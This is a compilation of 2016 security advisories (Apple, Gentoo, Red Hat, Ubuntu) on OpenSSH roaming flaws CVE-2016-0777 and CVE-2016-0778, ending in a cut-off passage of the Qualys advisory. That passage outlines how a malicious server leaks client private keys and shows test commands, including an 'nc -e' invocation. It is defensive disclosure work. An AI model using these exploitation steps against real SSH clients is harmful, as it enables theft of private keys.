Security Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted certificate may lead to arbitrary code execution Description: A memory corruption issue existed in the ASN.1 decoder. This issue was addressed through improved input validation. CVE-ID CVE-2016-1950 : Francis Gabriel of Quarkslab
Tcl
Available for:
OS X Yosemite v10.10.5 and OS X El Capitan v10.11 to v10.11.3
Impact: Processing a maliciously crafted .png file may lead to
arbitrary code execution
Description: Multiple vulnerabilities existed in libpng versions
prior to 1.6.20. These were addressed by removing libpng.
CVE-ID
CVE-2015-8126 : Adam Mariš
TrueTypeScaler Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted font file may lead to arbitrary code execution Description: A memory corruption issue existed in the processing of font files. This issue was addressed through improved input validation. CVE-ID CVE-2016-1775 : 0x1byte working with Trend Micro's Zero Day Initiative (ZDI)
Wi-Fi Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An attacker with a privileged network position may be able to execute arbitrary code Description: A frame validation and memory corruption issue existed for a given ethertype. This issue was addressed through additional ethertype validation and improved memory handling. CVE-ID CVE-2016-0801 : an anonymous researcher CVE-2016-0802 : an anonymous researcher
OS X El Capitan 10.11.4 includes the security content of Safari 9.1. https://support.apple.com/kb/HT206171
OS X El Capitan v10.11.4 and Security Update 2016-002 may be obtained from the Mac App Store or Apple's Software Downloads web site: http://www.apple.com/support/downloads/
Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222
This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- Comment: GPGTools - https://gpgtools.org
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Affected packages
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-misc/openssh < 7.1_p2 >= 7.1_p2
Description
Qualys have reported two issues in the "roaming" code included in the OpenSSH client, which provides undocumented, experimental support for resuming SSH connections. To do so, add "UseRoaming no" to the SSH client configuration, or specify "-o 'UseRoaming no'" on the command line.
Resolution
All OpenSSH users should upgrade to the latest version:
# emerge --sync # emerge --ask --oneshot --verbose ">=net-misc/openssh-7.1_p2"
References
[ 1 ] CVE-2016-0777 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-0777 [ 2 ] CVE-2016-0778 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-0778
Availability
This GLSA and any updates to it are available for viewing at the Gentoo Security Website:
https://security.gentoo.org/glsa/201601-01
Concerns?
Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us.
License
Copyright 2016 Gentoo Foundation, Inc; referenced text belongs to its owner(s).
The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5 . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1
===================================================================== Red Hat Security Advisory
Synopsis: Moderate: openssh security update Advisory ID: RHSA-2016:0043-01 Product: Red Hat Enterprise Linux Advisory URL: https://rhn.redhat.com/errata/RHSA-2016-0043.html Issue date: 2016-01-14 CVE Names: CVE-2016-0777 CVE-2016-0778 =====================================================================
- Summary:
Updated openssh packages that fix two security issues are now available for Red Hat Enterprise Linux 7.
Red Hat Product Security has rated this update as having Moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section. Relevant releases/architectures:
Red Hat Enterprise Linux Client (v. 7) - x86_64 Red Hat Enterprise Linux Client Optional (v. 7) - x86_64 Red Hat Enterprise Linux ComputeNode (v. 7) - x86_64 Red Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64 Red Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Server Optional (v. 7) - ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Workstation (v. 7) - x86_64 Red Hat Enterprise Linux Workstation Optional (v. 7) - x86_64
- Description:
OpenSSH is OpenBSD's SSH (Secure Shell) protocol implementation. These packages include the core files necessary for both the OpenSSH client and server. (CVE-2016-0778)
Red Hat would like to thank Qualys for reporting these issues.
All openssh users are advised to upgrade to these updated packages, which contain backported patches to correct these issues. After installing this update, the OpenSSH server daemon (sshd) will be restarted automatically. Solution:
Before applying this update, make sure all previously released errata relevant to your system have been applied.
For details on how to apply this update, refer to:
https://access.redhat.com/articles/11258
- Package List:
Red Hat Enterprise Linux Client (v. 7):
Source: openssh-6.6.1p1-23.el7_2.src.rpm
x86_64: openssh-6.6.1p1-23.el7_2.x86_64.rpm openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-6.6.1p1-23.el7_2.x86_64.rpm
Red Hat Enterprise Linux Client Optional (v. 7):
x86_64: openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm
Red Hat Enterprise Linux ComputeNode (v. 7):
Source: openssh-6.6.1p1-23.el7_2.src.rpm
x86_64: openssh-6.6.1p1-23.el7_2.x86_64.rpm openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-6.6.1p1-23.el7_2.x86_64.rpm
Red Hat Enterprise Linux ComputeNode Optional (v. 7):
x86_64: openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm
Red Hat Enterprise Linux Server (v. 7):
Source: openssh-6.6.1p1-23.el7_2.src.rpm
ppc64: openssh-6.6.1p1-23.el7_2.ppc64.rpm openssh-askpass-6.6.1p1-23.el7_2.ppc64.rpm openssh-clients-6.6.1p1-23.el7_2.ppc64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.ppc64.rpm openssh-keycat-6.6.1p1-23.el7_2.ppc64.rpm openssh-server-6.6.1p1-23.el7_2.ppc64.rpm
ppc64le: openssh-6.6.1p1-23.el7_2.ppc64le.rpm openssh-askpass-6.6.1p1-23.el7_2.ppc64le.rpm openssh-clients-6.6.1p1-23.el7_2.ppc64le.rpm openssh-debuginfo-6.6.1p1-23.el7_2.ppc64le.rpm openssh-keycat-6.6.1p1-23.el7_2.ppc64le.rpm openssh-server-6.6.1p1-23.el7_2.ppc64le.rpm
s390x: openssh-6.6.1p1-23.el7_2.s390x.rpm openssh-askpass-6.6.1p1-23.el7_2.s390x.rpm openssh-clients-6.6.1p1-23.el7_2.s390x.rpm openssh-debuginfo-6.6.1p1-23.el7_2.s390x.rpm openssh-keycat-6.6.1p1-23.el7_2.s390x.rpm openssh-server-6.6.1p1-23.el7_2.s390x.rpm
x86_64: openssh-6.6.1p1-23.el7_2.x86_64.rpm openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-6.6.1p1-23.el7_2.x86_64.rpm
Red Hat Enterprise Linux Server Optional (v. 7):
ppc64: openssh-debuginfo-6.6.1p1-23.el7_2.ppc.rpm openssh-debuginfo-6.6.1p1-23.el7_2.ppc64.rpm openssh-ldap-6.6.1p1-23.el7_2.ppc64.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.ppc64.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc64.rpm
ppc64le: openssh-debuginfo-6.6.1p1-23.el7_2.ppc64le.rpm openssh-ldap-6.6.1p1-23.el7_2.ppc64le.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.ppc64le.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc64le.rpm
s390x: openssh-debuginfo-6.6.1p1-23.el7_2.s390.rpm openssh-debuginfo-6.6.1p1-23.el7_2.s390x.rpm openssh-ldap-6.6.1p1-23.el7_2.s390x.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.s390x.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.s390.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.s390x.rpm
x86_64: openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm
Red Hat Enterprise Linux Workstation (v. 7):
Source: openssh-6.6.1p1-23.el7_2.src.rpm
x86_64: openssh-6.6.1p1-23.el7_2.x86_64.rpm openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-6.6.1p1-23.el7_2.x86_64.rpm
Red Hat Enterprise Linux Workstation Optional (v. 7):
x86_64: openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/
- References:
https://access.redhat.com/security/cve/CVE-2016-0777 https://access.redhat.com/security/cve/CVE-2016-0778 https://access.redhat.com/security/updates/classification/#moderate https://access.redhat.com/articles/2123781
- Contact:
The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/
Copyright 2016 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1
iD8DBQFWmAWQXlSAg2UNWIIRAh17AJ9SiT1MA1YtOA6ctMp9jIo4e9XrFwCgkbmo nXgYWs8cZcyoTRVoriTGHQo= =1sk9 -----END PGP SIGNATURE-----
-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce
Show details on source website{
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"data": "The (1) roaming_read and (2) roaming_write functions in roaming_common.c in the client in OpenSSH 5.x, 6.x, and 7.x before 7.1p2, when certain proxy and forward options are enabled, do not properly maintain connection file descriptors, which allows remote servers to cause a denial of service (heap-based buffer overflow) or possibly have unspecified other impact by requesting many forwardings. OpenSSH client code versions 5.4 through 7.1p1 contains a client information leak vulnerability that could allow an OpenSSH client to leak information not limited to but including private keys, as well as a buffer overflow in certain non-default configurations. In addition, JVNVU#95595627 Then CWE-122 It is published as CWE-122: Heap-based Buffer Overflow http://cwe.mitre.org/data/definitions/122.htmlA large amount of transfer is requested by the remote server, resulting in a denial of service ( Heap-based buffer overflow ) It can be unspecified, such as being put into a state. OpenSSH is prone to a heap-based buffer-overflow vulnerability. \nSuccessful exploits may allow attackers to execute arbitrary code in the context of the affected application. Failed attacks will cause denial-of-service conditions. OpenSSH (OpenBSD Secure Shell) is a set of connection tools for securely accessing remote computers maintained by the OpenBSD project team. This tool is an open source implementation of the SSH protocol, supports encryption of all transmissions, and can effectively prevent eavesdropping, connection hijacking, and other network-level attacks. The following versions are affected: OpenSSH 5.x, 6.x, 7.x prior to 7.1p2. ============================================================================\nUbuntu Security Notice USN-2869-1\nJanuary 14, 2016\n\nopenssh vulnerabilities\n============================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 15.10\n- Ubuntu 15.04\n- Ubuntu 14.04 LTS\n- Ubuntu 12.04 LTS\n\nSummary:\n\nOpenSSH could be made to expose sensitive information over the network. \n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 15.10:\n openssh-client 1:6.9p1-2ubuntu0.1\n\nUbuntu 15.04:\n openssh-client 1:6.7p1-5ubuntu1.4\n\nUbuntu 14.04 LTS:\n openssh-client 1:6.6p1-2ubuntu2.4\n\nUbuntu 12.04 LTS:\n openssh-client 1:5.9p1-5ubuntu1.8\n\nIn general, a standard system update will make all the necessary changes. \nQualys Security Advisory\n\nRoaming through the OpenSSH client: CVE-2016-0777 and CVE-2016-0778\n\n\n========================================================================\nContents\n========================================================================\n\nSummary\nInformation Leak (CVE-2016-0777)\n- Analysis\n- Private Key Disclosure\n- Mitigating Factors\n- Examples\nBuffer Overflow (CVE-2016-0778)\n- Analysis\n- Mitigating Factors\n- File Descriptor Leak\nAcknowledgments\nProof Of Concept\n\n\n========================================================================\nSummary\n========================================================================\n\nSince version 5.4 (released on March 8, 2010), the OpenSSH client\nsupports an undocumented feature called roaming: if the connection to an\nSSH server breaks unexpectedly, and if the server supports roaming as\nwell, the client is able to reconnect to the server and resume the\nsuspended SSH session. This information leak may have already been exploited in\nthe wild by sophisticated attackers, and high-profile sites or users may\nneed to regenerate their SSH keys accordingly. \n\nThe buffer overflow, on the other hand, is present in the default\nconfiguration of the OpenSSH client but its exploitation requires two\nnon-default options: a ProxyCommand, and either ForwardAgent (-A) or\nForwardX11 (-X). This buffer overflow is therefore unlikely to have any\nreal-world impact, but provides a particularly interesting case study. \n\nAll OpenSSH versions between 5.4 and 7.1 are vulnerable, but can be\neasily hot-fixed by setting the undocumented option \"UseRoaming\" to\n\"no\", as detailed in the Mitigating Factors section. OpenSSH version\n7.1p2 (released on January 14, 2016) disables roaming by default. \n\n\n========================================================================\nInformation Leak (CVE-2016-0777)\n========================================================================\n\n------------------------------------------------------------------------\nAnalysis\n------------------------------------------------------------------------\n\nIf the OpenSSH client connects to an SSH server that offers the key\nexchange algorithm \"resume@appgate.com\", it sends the global request\n\"roaming@appgate.com\" to the server, after successful authentication. If\nthis request is accepted, the client allocates a roaming buffer out_buf,\nby calling malloc() (and not calloc()) with an out_buf_size that is\narbitrarily chosen by the server:\n\n 63 void\n 64 roaming_reply(int type, u_int32_t seq, void *ctxt)\n 65 {\n 66 if (type == SSH2_MSG_REQUEST_FAILURE) {\n 67 logit(\"Server denied roaming\");\n 68 return;\n 69 }\n 70 verbose(\"Roaming enabled\");\n .. \n 75 set_out_buffer_size(packet_get_int() + get_snd_buf_size());\n .. \n 77 }\n\n 40 static size_t out_buf_size = 0;\n 41 static char *out_buf = NULL;\n 42 static size_t out_start;\n 43 static size_t out_last;\n .. \n 75 void\n 76 set_out_buffer_size(size_t size)\n 77 {\n 78 if (size == 0 || size \u003e MAX_ROAMBUF)\n 79 fatal(\"%s: bad buffer size %lu\", __func__, (u_long)size);\n 80 /*\n 81 * The buffer size can only be set once and the buffer will live\n 82 * as long as the session lives. \n 83 */\n 84 if (out_buf == NULL) {\n 85 out_buf_size = size;\n 86 out_buf = xmalloc(size);\n 87 out_start = 0;\n 88 out_last = 0;\n 89 }\n 90 }\n\nThe OpenSSH client\u0027s roaming_write() function, a simple wrapper around\nwrite(), calls wait_for_roaming_reconnect() to transparently reconnect\nto the SSH server after a disconnection. It also calls buf_append() to\ncopy the data sent to the server into the roaming buffer out_buf. During\na reconnection, the client is therefore able to resend the data that was\nnot received by the server because of the disconnection:\n\n198 void\n199 resend_bytes(int fd, u_int64_t *offset)\n200 {\n201 size_t available, needed;\n202\n203 if (out_start \u003c out_last)\n204 available = out_last - out_start;\n205 else\n206 available = out_buf_size;\n207 needed = write_bytes - *offset;\n208 debug3(\"resend_bytes: resend %lu bytes from %llu\",\n209 (unsigned long)needed, (unsigned long long)*offset);\n210 if (needed \u003e available)\n211 fatal(\"Needed to resend more data than in the cache\");\n212 if (out_last \u003c needed) {\n213 int chunkend = needed - out_last;\n214 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend,\n215 chunkend);\n216 atomicio(vwrite, fd, out_buf, out_last);\n217 } else {\n218 atomicio(vwrite, fd, out_buf + (out_last - needed), needed);\n219 }\n220 }\n\nIn the OpenSSH client\u0027s roaming buffer out_buf, the most recent data\nsent to the server begins at index out_start and ends at index out_last. \nAs soon as this circular buffer is full, buf_append() maintains the\ninvariant \"out_start = out_last + 1\", and consequently three different\ncases have to be considered:\n\n- \"out_start \u003c out_last\" (lines 203-204): out_buf is not full yet (and\n out_start is still equal to 0), and the amount of data available in\n out_buf is indeed \"out_last - out_start\";\n\n- \"out_start \u003e out_last\" (lines 205-206): out_buf is full (and out_start\n is exactly equal to \"out_last + 1\"), and the amount of data available\n in out_buf is indeed the entire out_buf_size;\n\n- \"out_start == out_last\" (lines 205-206): no data was ever written to\n out_buf (and both out_start and out_last are still equal to 0) because\n no data was ever sent to the server after roaming_reply() was called,\n but the client sends (leaks) the entire uninitialized out_buf to the\n server (line 214), as if out_buf_size bytes of data were available. \n\nIn order to successfully exploit this information leak and retrieve\nsensitive information from the OpenSSH client\u0027s memory (for example,\nprivate SSH keys, or memory addresses useful for further exploitation),\na malicious server needs to:\n\n- Massage the client\u0027s heap before roaming_reply() malloc()ates out_buf,\n and force malloc() to return a previously free()d but uncleansed chunk\n of sensitive information. The simple proof-of-concept in this advisory\n does not implement heap massaging. \n\n- Guess the client\u0027s get_snd_buf_size() in order to precisely control\n out_buf_size. OpenSSH \u003c 6.0 accepts out_buf sizes in the range (0,4G),\n and OpenSSH \u003e= 6.0 accepts sizes in the range (0,2M]. Sizes smaller\n than get_snd_buf_size() are attainable because roaming_reply() does\n not protect \"packet_get_int() + get_snd_buf_size()\" against integer\n wraparound. The proof-of-concept in this advisory attempts to derive\n the client\u0027s get_snd_buf_size() from the get_recv_buf_size() sent by\n the client to the server, and simply chooses a random out_buf_size. \n\n- Advise the client\u0027s resend_bytes() that all \"available\" bytes (the\n entire out_buf_size) are \"needed\" by the server, even if fewer bytes\n were actually written by the client to the server (because the server\n controls the \"*offset\" argument, and resend_bytes() does not protect\n \"needed = write_bytes - *offset\" against integer wraparound). \n\nFinally, a brief digression on a minor bug in resend_bytes(): on 64-bit\nsystems, where \"chunkend\" is a 32-bit signed integer, but \"out_buf\" and\n\"out_buf_size\" are 64-bit variables, \"out_buf + out_buf_size - chunkend\"\nmay point out-of-bounds, if chunkend is negative (if out_buf_size is in\nthe [2G,4G) range). This negative chunkend is then converted to a 64-bit\nsize_t greater than SSIZE_MAX when passed to atomicio(), and eventually\nreturns EFAULT when passed to write() (at least on Linux and OpenBSD),\nthus avoiding an out-of-bounds read from the OpenSSH client\u0027s memory. \n\n------------------------------------------------------------------------\nPrivate Key Disclosure\n------------------------------------------------------------------------\n\nWe initially believed that this information leak in the OpenSSH client\u0027s\nroaming code would not allow a malicious SSH server to steal the\nclient\u0027s private keys, because:\n\n- the information leaked is not read from out-of-bounds memory, but from\n a previously free()d chunk of memory that is recycled to malloc()ate\n the client\u0027s roaming buffer out_buf;\n\n- private keys are loaded from disk into memory and freed by key_free()\n (old API, OpenSSH \u003c 6.7) or sshkey_free() (new API, OpenSSH \u003e= 6.7),\n and both functions properly cleanse the private keys\u0027 memory with\n OPENSSL_cleanse() or explicit_bzero();\n\n- temporary copies of in-memory private keys are freed by buffer_free()\n (old API) or sshbuf_free() (new API), and both functions attempt to\n cleanse these copies with memset() or bzero(). \n\nHowever, we eventually identified three reasons why, in our experiments,\nwe were able to partially or completely retrieve the OpenSSH client\u0027s\nprivate keys through this information leak (depending on the client\u0027s\nversion, compiler, operating system, heap layout, and private keys):\n\n(besides these three reasons, other reasons may exist, as suggested by\nthe CentOS and Fedora examples at the end of this section)\n\n1. If a private SSH key is loaded from disk into memory by fopen() (or\nfdopen()), fgets(), and fclose(), a partial or complete copy of this\nprivate key may remain uncleansed in memory. Indeed, these functions\nmanage their own internal buffers, and whether these buffers are\ncleansed or not depends on the OpenSSH client\u0027s libc (stdio)\nimplementation, but not on OpenSSH itself. \n\n- In all vulnerable OpenSSH versions, SSH\u0027s main() function calls\n load_public_identity_files(), which loads the client\u0027s public keys\n with fopen(), fgets(), and fclose(). Unfortunately, the private keys\n (without the \".pub\" suffix) are loaded first and then discarded, but\n nonetheless buffered in memory by the stdio functions. \n\n- In OpenSSH versions \u003c= 5.6, the load_identity_file() function (called\n by the client\u0027s public-key authentication method) loads a private key\n with fdopen() and PEM_read_PrivateKey(), an OpenSSL function that uses\n fgets() and hence internal stdio buffering. \n\nInternal stdio buffering is the most severe of the three problems\ndiscussed in this section, although GNU/Linux is not affected because\nthe glibc mmap()s and munmap()s (and therefore cleanses) stdio buffers. \nBSD-based systems, on the other hand, are severely affected because they\nsimply malloc()ate and free() stdio buffers. For interesting comments on\nthis issue:\n\nhttps://www.securecoding.cert.org/confluence/display/c/MEM06-C.+Ensure+that+sensitive+data+is+not+written+out+to+disk\n\n2. In OpenSSH versions \u003e= 5.9, the client\u0027s load_identity_file()\nfunction (called by the public-key authentication method) read()s a\nprivate key in 1024-byte chunks that are appended to a growing buffer (a\nrealloc()ating buffer) with buffer_append() (old API) or sshbuf_put()\n(new API). Unfortunately, the repeated calls to realloc() may leave\npartial copies of the private key uncleansed in memory. \n\n- In OpenSSH \u003c 6.7 (old API), the initial size of such a growing buffer\n is 4096 bytes: if a private-key file is larger than 4K, a partial copy\n of this private key may remain uncleansed in memory (a 3K copy in a 4K\n buffer). Fortunately, only the file of a very large RSA key (for\n example, an 8192-bit RSA key) can exceed 4K. \n\n- In OpenSSH \u003e= 6.7 (new API), the initial size of a growing buffer is\n 256 bytes: if a private-key file is larger than 1K (the size passed to\n read()), a partial copy of this private key may remain uncleansed in\n memory (a 1K copy in a 1K buffer). For example, the file of a\n default-sized 2048-bit RSA key exceeds 1K. \n\nFor more information on this issue:\n\nhttps://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources\n\nhttps://cwe.mitre.org/data/definitions/244.html\n\n3. An OpenSSH growing-buffer that holds a private key is eventually\nfreed by buffer_free() (old API) or sshbuf_free() (new API), and both\nfunctions attempt to cleanse the buffer with memset() or bzero() before\nthey call free(). Unfortunately, an optimizing compiler may remove this\nmemset() or bzero() call, because the buffer is written to, but never\nagain read from (an optimization known as Dead Store Elimination). \n\nOpenSSH 6.6 is the only version that is not affected, because it calls\nexplicit_bzero() instead of memset() or bzero(). \n\nDead Store Elimination is the least severe of the three problems\nexplored in this section, because older GCC versions do not remove the\nmemset() or bzero() call made by buffer_free() or sshbuf_free(). GCC 5\nand Clang/LLVM do, however, remove it. For detailed discussions of this\nissue:\n\nhttps://www.securecoding.cert.org/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations\n\nhttps://cwe.mitre.org/data/definitions/14.html\n\nhttps://sourceware.org/ml/libc-alpha/2014-12/threads.html#00506\n\nFinally, for these three reasons, passphrase-encrypted SSH keys are\nleaked in their encrypted form, but an attacker may attempt to crack the\npassphrase offline. On the other hand, SSH keys that are available only\nthrough an authentication agent are never leaked, in any form. The vulnerable roaming code can be permanently disabled by adding the\nundocumented option \"UseRoaming no\" to the system-wide configuration\nfile (usually /etc/ssh/ssh_config), or per-user configuration file\n(~/.ssh/config), or command-line (-o \"UseRoaming no\"). \n\n2. If an OpenSSH client is disconnected from an SSH server that offers\nroaming, it prints \"[connection suspended, press return to resume]\" on\nstderr, and waits for \u0027\\n\u0027 or \u0027\\r\u0027 on stdin (and not on the controlling\nterminal) before it reconnects to the server; advanced users may become\nsuspicious and press Control-C or Control-Z instead, thus avoiding the\ninformation leak:\n\n# \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n[connection suspended, press return to resume]^Z\n[1]+ Stopped /usr/bin/ssh -p 222 127.0.0.1\n\nHowever, SSH commands that use the local stdin to transfer data to the\nremote server are bound to trigger this reconnection automatically (upon\nreading a \u0027\\n\u0027 or \u0027\\r\u0027 from stdin). Moreover, these non-interactive SSH\ncommands (for example, backup scripts and cron jobs) commonly employ\npublic-key authentication and are therefore perfect targets for this\ninformation leak:\n\n$ ls -l /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 \"cat \u003e /tmp/passwd.ls\"\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\n\n$ tar -cf - /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 \"cat \u003e /tmp/passwd.tar\"\ntar: Removing leading `/\u0027 from member names\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n... \n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\n\nSimilarly, the SCP client uses the SSH client\u0027s stdin and stdout to\ntransfer data, and can be forced by a malicious SSH server to output a\ncontrol record that ends in \u0027\\n\u0027 (an error message in server-to-client\nmode, or file permissions in client-to-server mode); this \u0027\\n\u0027 is then\nread from stdin by the fgetc() call in wait_for_roaming_reconnect(), and\ntriggers an automatic reconnection that allows the information leak to\nbe exploited without user interaction:\n\n# env ROAMING=\"scp_mode sleep:1\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/scp -P 222 127.0.0.1:/etc/passwd /tmp\n$ [connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\n\n$ /usr/bin/scp -P 222 /etc/passwd 127.0.0.1:/tmp\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\nlost connection\n\n3. Although a man-in-the-middle attacker can reset the TCP connection\nbetween an OpenSSH client and an OpenSSH server (which does not support\nroaming), it cannot exploit the information leak without breaking server\nhost authentication or integrity protection, because it needs to:\n\n- first, append the \"resume@appgate.com\" algorithm name to the server\u0027s\n initial key exchange message;\n\n- second, in response to the client\u0027s \"roaming@appgate.com\" request,\n change the server\u0027s reply from failure to success. \n\nIn conclusion, an attacker who wishes to exploit this information leak\nmust convince its target OpenSSH client to connect to a malicious server\n(an unlikely scenario), or compromise a trusted server (a more likely\nscenario, for a determined attacker). \n\n4. In the client, wait_for_roaming_reconnect()\ncalls ssh_connect(), the same function that successfully established the\nfirst connection to the server; this function supports four different\nconnection methods, but each method contains a bug and may fail to\nestablish a second connection to the server:\n\n- In OpenSSH \u003e= 6.5 (released on January 30, 2014), the default\n ssh_connect_direct() method (a simple TCP connection) is called by\n wait_for_roaming_reconnect() with a NULL aitop argument, which makes\n it impossible for the client to reconnect to the server:\n\n 418 static int\n 419 ssh_connect_direct(const char *host, struct addrinfo *aitop,\n ... \n 424 int sock = -1, attempt;\n 425 char ntop[NI_MAXHOST], strport[NI_MAXSERV];\n ... \n 430 for (attempt = 0; attempt \u003c connection_attempts; attempt++) {\n ... \n 440 for (ai = aitop; ai; ai = ai-\u003eai_next) {\n ... \n 470 }\n 471 if (sock != -1)\n 472 break; /* Successful connection. */\n 473 }\n 474\n 475 /* Return failure if we didn\u0027t get a successful connection. */\n 476 if (sock == -1) {\n 477 error(\"ssh: connect to host %s port %s: %s\",\n 478 host, strport, strerror(errno));\n 479 return (-1);\n 480 }\n\n Incidentally, this error() call displays stack memory from the\n uninitialized strport[] array, a byproduct of the NULL aitop:\n\n$ /usr/bin/ssh -V\nOpenSSH_6.8, LibreSSL 2.1\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n\n- The special ProxyCommand \"-\" communicates with the server through the\n client\u0027s stdin and stdout, but these file descriptors are close()d by\n packet_backup_state() at the beginning of wait_for_roaming_reconnect()\n and are never reopened again, making it impossible for the client to\n reconnect to the server. Moreover, the fgetc() that waits for \u0027\\n\u0027 or\n \u0027\\r\u0027 on the closed stdin returns EOF and forces the client to exit():\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ /usr/bin/nc -e \"/usr/bin/ssh -o ProxyCommand=- -p 222 127.0.0.1\" 127.0.0.1 222\nPseudo-terminal will not be allocated because stdin is not a terminal. \nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][exiting]\n\n- The method ssh_proxy_fdpass_connect() fork()s a ProxyCommand that\n passes a connected file descriptor back to the client, but it calls\n fatal() while reconnecting to the server, because waitpid() returns\n ECHILD; indeed, the SIGCHLD handler (installed by SSH\u0027s main() after\n the first successful connection to the server) calls waitpid() before\n 